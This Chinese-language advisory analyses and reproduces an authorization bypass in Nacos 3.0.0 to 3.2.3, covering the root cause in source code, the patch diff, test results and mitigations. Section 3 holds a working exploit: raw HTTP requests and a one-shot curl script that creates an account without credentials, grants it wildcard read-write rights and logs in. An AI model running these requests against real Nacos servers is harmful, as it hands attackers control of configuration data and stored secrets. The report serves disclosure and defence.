Nacos 最新权限绕过漏洞——分析与复现报告

· 2026-08-28 12:51 · 0 阅读

原创 枇杷哥 2026-08-28 12:51 北京

漏洞名称:Nacos 鉴权作用域错配导致的权限绕过(未授权自建高权限账户) 微步编号:XVE-2026-53002 漏洞类型:权限绕过 / 未授权访问(Authentication/Authorization Bypass) 影响版本3.0.0 <= version <= 3.2.3修复版本3.2.4 及以上危害等级:高危(攻击门槛极低:无需凭证、默认配置即可利用、可自动化批量扫描) 利用条件:远程可达服务端 HTTP 端口(默认 8848,上下文路径 /nacos


0. 结论摘要(TL;DR)

Nacos 3.x 将接口按 @Secured 注解中的 apiType 分为 OPEN_API / ADMIN_API / CONSOLE_API 三个鉴权作用域,分别由不同 Filter、不同开关控制:

作用域

Filter

开关(默认值)

OPEN_APIAuthFilternacos.core.auth.enabled

false

ADMIN_APIAuthAdminFilternacos.core.auth.admin.enabled

true

CONSOLE_APINacosConsoleAuthFilternacos.core.auth.console.enabled

(true)

v3 版本的用户/角色/权限管理控制器(UserControllerV3 / RoleControllerV3 / PermissionControllerV3)在 @Secured 注解上遗漏了 apiType = ApiType.ADMIN_API,因此这些本应属于“管理员接口”的端点被错误归入 OPEN_API 作用域。OPEN_API 作用域的开关 nacos.core.auth.enabled 默认关闭,导致攻击者在未授权状态下即可调用:

  • POST /nacos/v3/auth/user

     —— 创建用户

  • POST /nacos/v3/auth/role

     —— 创建角色并绑定用户

  • POST /nacos/v3/auth/permission

     —— 给角色授权(含通配 *

攻击者由此可自建账号并授予通配读写权限,进而接管服务端配置与服务数据。

3.2.4 的修复正是给这些 @Secured 注解补齐 apiType = ApiType.ADMIN_API,使其由默认开启的 ADMIN_API 作用域强制鉴权。


1. 漏洞根因分析(鉴权作用域错配)

1.1 @Secured 注解中 apiType 的默认值

文件:auth/src/main/java/com/alibaba/nacos/auth/annotation/Secured.java

public @interface Secured {
    ActionTypes action() default ActionTypes.READ;
    String resource() default StringUtils.EMPTY;
    String signType() default SignType.NAMING;
    Class<? extends ResourceParser> parser() default DefaultResourceParser.class;
    String[] tags() default {};
    // 关键:默认落在 OPEN_API,而非 ADMIN_API
    ApiType apiType() default ApiType.OPEN_API;
}

ApiType 枚举(api/src/main/java/com/alibaba/nacos/api/common/ApiType.java)定义了四个作用域:

ADMIN_API, CONSOLE_API, OPEN_API, INNER_API

1.2 三作用域 Filter 路由(错配发生点)

文件:core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java

@Override
protected boolean isMatchFilter(Secured secured) {
    // ADMIN API 交由 AuthAdminFilter 处理,其余(含默认 OPEN_API)都落到本 Filter
    return !ApiType.ADMIN_API.equals(secured.apiType());
}

文件:core/src/main/java/com/alibaba/nacos/core/auth/AuthAdminFilter.java

@Override
protected boolean isMatchFilter(Secured secured) {
    return ApiType.ADMIN_API.equals(secured.apiType());
}

1.3 开关取值(默认即漏洞)

文件:core/src/main/java/com/alibaba/nacos/core/auth/NacosServerAuthConfig.java(OPEN_API)

authEnabled = EnvUtil.getProperty(
    Constants.Auth.NACOS_CORE_AUTH_ENABLED, Boolean.class, false);   // 默认 false

文件:core/src/main/java/com/alibaba/nacos/core/auth/NacosServerAdminAuthConfig.java(ADMIN_API)

authEnabled = EnvUtil.getProperty(
    Constants.Auth.NACOS_CORE_AUTH_ADMIN_ENABLED, Boolean.class, true);  // 默认 true

distribution/conf/application.properties 中的默认配置(3.2.3 与 3.2.4 一致):

nacos.core.auth.enabled=false        # 数据面 OPEN_API 鉴权默认关闭
nacos.core.auth.admin.enabled=true   # 管理面 ADMIN_API 鉴权默认开启
nacos.core.auth.console.enabled=true # 控制台 CONSOLE_API 鉴权默认开启

1.4 过滤器放行逻辑

文件:core/src/main/java/com/alibaba/nacos/core/auth/AbstractWebAuthFilter.java

Secured secured = method.getAnnotation(Secured.class);
RequestContext requestContext = RequestContextHolder.getContext();
requestContext.getAuthContext().setApiType(secured.apiType().name());
if (!isMatchFilter(secured)) { chain.doFilter(...); return; } // 作用域不匹配则跳过
if (!isAuthEnabled()) {            // 作用域开关关闭 → 直接放行,不做身份/权限校验
    chain.doFilter(request, response);
    return;
}
// ... 后续才是 server identity / validateIdentity / validateAuthority

结论链:v3 用户/角色/权限接口在 3.2.3 中 apiType 默认为 OPEN_API → 命中 AuthFilter → isAuthEnabled() 取 nacos.core.auth.enabled=false → 未鉴权直接放行


2. 漏洞位置与 sink 点

2.1 漏洞触发入口(控制器)

目录:plugin-default-impl/nacos-default-auth-plugin/src/main/java/com/alibaba/nacos/plugin/auth/impl/controller/v3/

控制器

类级 URL

触发方法(sink)

UserControllerV3/v3/auth/usercreateUser

@PostMapping

RoleControllerV3/v3/auth/rolecreateRole

@PostMapping

PermissionControllerV3/v3/auth/permissioncreatePermission

@PostMapping

修复前后的 diff 示例(UserControllerV3.java):

diff

-    @Secured(resource = AuthConstants.CONSOLE_RESOURCE_NAME_PREFIX + "users",
-        action = ActionTypes.WRITE)
+    @Secured(resource = AuthConstants.CONSOLE_RESOURCE_NAME_PREFIX + "users",
+        action = ActionTypes.WRITE, apiType = ApiType.ADMIN_API)
     @Since("3.0.0")
     @PostMapping
     public Result<String> createUser(@RequestParam String username, @RequestParam String password)

同样补齐 apiType = ApiType.ADMIN_API 的还有:

  • UserControllerV3

    deleteUser / updateUser / getUserList / getUserListByUsername

  • RoleControllerV3

    createRole / deleteRole / getRoleList / getRoleListByRoleName

  • PermissionControllerV3

    createPermission / deletePermission / getPermissionList / isDuplicatePermission

2.2 Sink 点(危险操作落点)

// UserControllerV3.createUser
userDetailsService.createUser(username, password);          // 落库建用户
// RoleControllerV3.createRole
roleService.addRole(role, username);                        // 绑定角色
// PermissionControllerV3.createPermission
nacosRoleService.addPermission(role, resource, action);     // 授予权限

2.3 提权机理(通配权限 → 等效全局管理员)

ROLE_ADMIN 不能通过 createRole 直接创建(NacosRoleServiceDirectImpl.addRole 显式拒绝),但可以利用通配权限达到等效全局读写:

文件:plugin-default-impl/nacos-default-auth-plugin/.../roles/AbstractCheckedRoleService.java

@Override
public boolean hasPermission(NacosUser nacosUser, Permission permission) {
    // 1) 全局管理员直通
    for (RoleInfo roleInfo : roleInfoList) {
        if (AuthConstants.GLOBAL_ADMIN_ROLE.equals(roleInfo.getRole())) {
            nacosUser.setGlobalAdmin(true);
            return true;
        }
    }
    // 2) console/ 资源仅限全局管理员
    if (permission.getResource().getName().startsWith(AuthConstants.CONSOLE_RESOURCE_NAME_PREFIX)) {
        return false;
    }
    // 3) 角色通配权限模式匹配
    for (PermissionInfo permissionInfo : permissionInfoList) {
        String permissionResource = permissionInfo.getResource().replaceAll("\\*", ".*");
        String permissionAction = permissionInfo.getAction();
        if (permissionAction.contains(permission.getAction())          // "rw".contains("r"/"w")
            && Pattern.matches(permissionResource, joinResource(permission.getResource()))) {
            return true;
        }
    }
    return false;
}

据此:resource=* 会被替换为 .*(正则全匹配),action=rw 同时包含 r/wActionTypes.READ/WRITE 的 toString() 为 "r"/"w")→ 任意命名空间、分组、资源均可读写。


3. 漏洞利用 PoC

3.1 触发前提

  • 目标:Nacos 3.0.0~3.2.3,默认配置(nacos.core.auth.enabled=false

  • 端口:8848,上下文路径 /nacos

  • 无需任何凭证

3.2 利用链(三步未授权 + 登录)

Step 1:未授权创建用户

POST /nacos/v3/auth/user?username=poc_x&password=Poc%4012345 HTTP/1.1
Host: localhost:8848
Accept: */*

Step 2:未授权创建角色并绑定到用户

POST /nacos/v3/auth/role?role=poc_x_role&username=poc_x HTTP/1.1
Host: localhost:8848
Accept: */*

Step 3:未授权授予通配读写权限

POST /nacos/v3/auth/permission?role=poc_x_role&resource=*&action=rw HTTP/1.1
Host: localhost:8848
Accept: */*

Step 4:用新账号登录换取 token

POST /nacos/v3/auth/user/login HTTP/1.1
Host: localhost:8848
Content-Type: application/x-www-form-urlencoded
username=poc_x&password=Poc%4012345

3.3 curl 一键版

H="http://TARGET:8848"
U="poc_$(date +%s)"; P='Poc@12345'; R="${U}_role"
curl -s -X POST -G "$H/nacos/v3/auth/user" \
  --data-urlencode "username=$U" --data-urlencode "password=$P"
curl -s -X POST -G "$H/nacos/v3/auth/role" \
  --data-urlencode "role=$R"   --data-urlencode "username=$U"
curl -s -X POST -G "$H/nacos/v3/auth/permission" \
  --data-urlencode "role=$R"   --data-urlencode "resource=*" --data-urlencode "action=rw"
TOKEN=$(curl -s -X POST "$H/nacos/v3/auth/user/login" \
  --data-urlencode "username=$U" --data-urlencode "password=$P" \
  | sed -n 's/.*"accessToken":"\([^"]*\)".*/\1/p')
# 通配权限生效验证:携带 token 读取命名服务列表
curl -s "$H/nacos/v3/admin/ns/service/list?pageNo=1&pageSize=10&namespaceId=public&groupName=DEFAULT_GROUP" \
  -H "Authorization: Bearer $TOKEN"

4. 复现验证结果(实测)

4.1 3.2.3(易受攻击)——原始响应

复制

POST /nacos/v3/auth/user        → 200 {"code":0,"message":"success","data":"create user ok!"}
POST /nacos/v3/auth/role        → 200 {"code":0,"message":"success","data":"add role ok!"}
POST /nacos/v3/auth/permission  → 200 {"code":0,"message":"success","data":"add permission ok!"}
POST /nacos/v3/auth/user/login  → 200 {"accessToken":"...","globalAdmin":false,"username":"poc_..."}

提权验证(携带 token 访问命名服务管理 API):

复制

GET /nacos/v3/admin/ns/service/list  带 token   → 200 {"code":0,...,"pageItems":[]}
GET /nacos/v3/admin/ns/service/list  不带 token → 403 access denied

未授权建号➕resource=*&action=rw 通配权限打通报读写,等效接管数据面。

4.2 3.2.4(已修复)——对照

复制

POST /nacos/v3/auth/user        → 403 {"code":10001,"message":"access denied","data":"Code: 401, Message: User not found!..."}
POST /nacos/v3/auth/role        → 403 access denied
POST /nacos/v3/auth/permission  → 403 access denied

4.3 结论

版本

未授权 createUser/role/permission

判定

3.2.3(及更早 3.x)

200 全部成功

存在漏洞

3.2.4(及以后)

403 access denied

已修复


5. 影响评估

  • 信息泄露

    :配置中心常承载数据库口令、密钥、AK/SK 等敏感配置,通配读权限可批量拉取全量配置。

  • 配置篡改 / 服务劫持

    :通配写权限可注册伪造服务实例、下发恶意配置(如恶意 JNDI/连接串、篡改路由/灰度配置)。

  • 持久化与横向

    :未授权为自建账号授予长期权限,形成稳定后门;配合内网可达的其它服务可横向扩展。

  • 自动化批量利用

    :端口 8848 + 固定路径 + 无凭证,适合大规模扫描(与微步情报“可自动化批量扫描”一致)。


6. 修复与缓解

6.1 官方修复

  • 升级到 Nacos 3.2.4 及以上(补齐 apiType = ApiType.ADMIN_API)。

  • 修复提交对应文件:controller/v3/{UserControllerV3, RoleControllerV3, PermissionControllerV3}.java

6.2 临时缓解(无法立即升级时)

  1. 网络收敛

    (立即做,零业务影响):将 8848 / 9848 / 9849 及控制台端口通过安全组/防火墙限制到可信网段,撤回任何公网暴露。

  2. 开启数据面鉴权兜底

nacos.core.auth.enabled=true
nacos.core.auth.plugin.nacos.token.secret.key=<≥32字符的Base64,集群各节点一致>

变更后重启生效;代价是所有 SDK 客户端必须改为携带用户名密码,灰度时需先确认业务方。

6.3 附带观察

  • 若实例处于首启状态(auth_admin_request=true,即尚无全局管理员),控制台 http://<host>:8080 会引导完成首个管理员初始化;请及早完成,并将首启建号引导面(POST /v3/auth/user/admin)与本次作用域错配区分对待。


7. 附录:3.2.3 → 3.2.4 关键 diff 摘要

文件

变更

.../controller/v3/UserControllerV3.java

5 处 @Secured 增加 apiType = ApiType.ADMIN_API

.../controller/v3/RoleControllerV3.java

4 处 @Secured 增加 apiType = ApiType.ADMIN_API

.../controller/v3/PermissionControllerV3.java

4 处 @Secured 增加 apiType = ApiType.ADMIN_API

auth/.../annotation/Secured.java

仅注释修订(apiType 默认值未变,为溯源证据)

auth/.../HttpProtocolAuthService.java

parser 选择优先级调整(DefaultResourceParser 兜底)

core/.../auth/AbstractWebAuthFilter.java

身份上下文构建顺序调整(非本漏洞必需项)


8. 参考

跳转微信打开